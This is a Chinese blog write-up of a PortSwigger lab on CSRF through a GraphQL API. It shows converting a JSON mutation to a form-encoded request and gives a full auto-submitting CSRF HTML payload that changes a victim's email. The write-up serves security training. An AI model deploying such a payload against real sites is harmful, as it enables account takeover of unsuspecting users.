某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

    • 高级主题

      • 不安全的反序列化

      • GraphQL API漏洞

        • 学徒-访问私有GraphQL帖子
        • 从业者-意外暴露私有GraphQL字段
        • 从业者-查找隐藏的GraphQL端点
        • 从业者-绕过GraphQL暴力破解保护
        • 从业者-通过GraphQL执行CSRF漏洞利用
          • 题目
          • 实操
      • 服务端模板注入

      • Web缓存投毒

      • HTTP主机头攻击

      • HTTP请求走私

      • OAuth身份验证漏洞

      • JWT攻击

      • 原型链污染

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 高级主题
  • GraphQL API漏洞
carsaid
2023-11-07
目录

从业者-通过GraphQL执行CSRF漏洞利用

# 实验室:通过GraphQL执行CSRF漏洞利用

# 题目

此实验室的用户管理功能由 GraphQL 端点提供支持。该端点接受内容类型为x-www-form-urlencoded的请求,因此容易受到跨站请求伪造(CSRF)攻击。

若要解决实验室问题,请制作一些 HTML,然后将其上传到你的漏洞利用服务器,通过 CSRF 攻击来更改查看者的电子邮件地址。

你可以使用以下凭据登录到自己的帐户:wiener:peter

我们建议你在尝试此实验之前安装 InQL 扩展。InQL 可以更轻松地在 Repeater 中修改 GraphQL 查询,并使你能够扫描 API 模式信息。

有关使用 InQL 的更多信息,请参阅在 Burp Suite 中使用 GraphQL (opens new window)。

实验室-从业者

通过GraphQL执行CSRF漏洞利用 >>

- name: 实验室-从业者
  desc: 通过GraphQL执行CSRF漏洞利用 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

一个博客站点。

启用 BurpSuite 代理并刷新网页,捕获有关于 GraphQL 的查询请求。

Not Found Image

捕获到 GraphQL 查询请求后,右键数据包并选择 “Generate queries with InQL Scanner”,将数据包转发至 InQL 扩展,自动探测 GraphQL API 端点的内省,以获取 API 端点的模式信息。

Not Found Image

在 InQL 中查看目标站点的模式信息,发现变更对象changeEmail,该对象带有一个参数ChangeEmailInput。

Not Found Image

使用题目中提供的用户名和密码wiener:peter进行登录。

访问账户界面,使用邮件更改功能,并捕获一个请求数据包。

Not Found Image

这是一个更改邮件地址的 GraphQL 请求数据包。内容类型为application/json,POST 传参也是实打实的 JSON 格式。

Not Found Image

修改内容类型为application/x-www-form-urlencoded,并将 POST 传参修改为经典的<键>=<值>格式:

query=mutation changeEmail {changeEmail(input: {email: "a@b.c"}) { email }}
1

发送数据包,目标端点接受了该请求。

说明目标 GraphQL 端点没有限定内容类型为 JSON。而且我还把Referer请求头删除了,没有产生任何错误。

没有限定内容类型,没有验证Referer标头,又没有实现 CSRF 令牌,不打你打谁?

Not Found Image

右键这个数据包,生成一个 CSRF PoC,具体步骤不用我教了吧,前面都学过。

点击 “Copy HTML” 复制攻击载荷。

Not Found Image

访问漏洞利用服务器,保存 CSRF 载荷。记得将其中的邮件地址a@b.c修改为x@y.z,因为前一个地址被你占用了,受害者无法使用。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a27006a0307e28080cec71e005b0039.web-security-academy.net/graphql/v1" method="POST">
      <input type="hidden" name="query" value="mutation&#32;changeEmail&#32;&#123;changeEmail&#40;input&#58;&#32;&#123;email&#58;&#32;&quot;x&#64;y&#46;z&quot;&#125;&#41;&#32;&#123;&#32;email&#32;&#125;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13

保存载荷之后,点击 “Deliver exploit to victim” 将其发送给受害用户。

Not Found Image

发送之后,实验完成。

Not Found Image

就是这么简单。

Not Found Image
编辑 (opens new window)
从业者-绕过GraphQL暴力破解保护
从业者-基本的服务端模板注入

← 从业者-绕过GraphQL暴力破解保护 从业者-基本的服务端模板注入→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式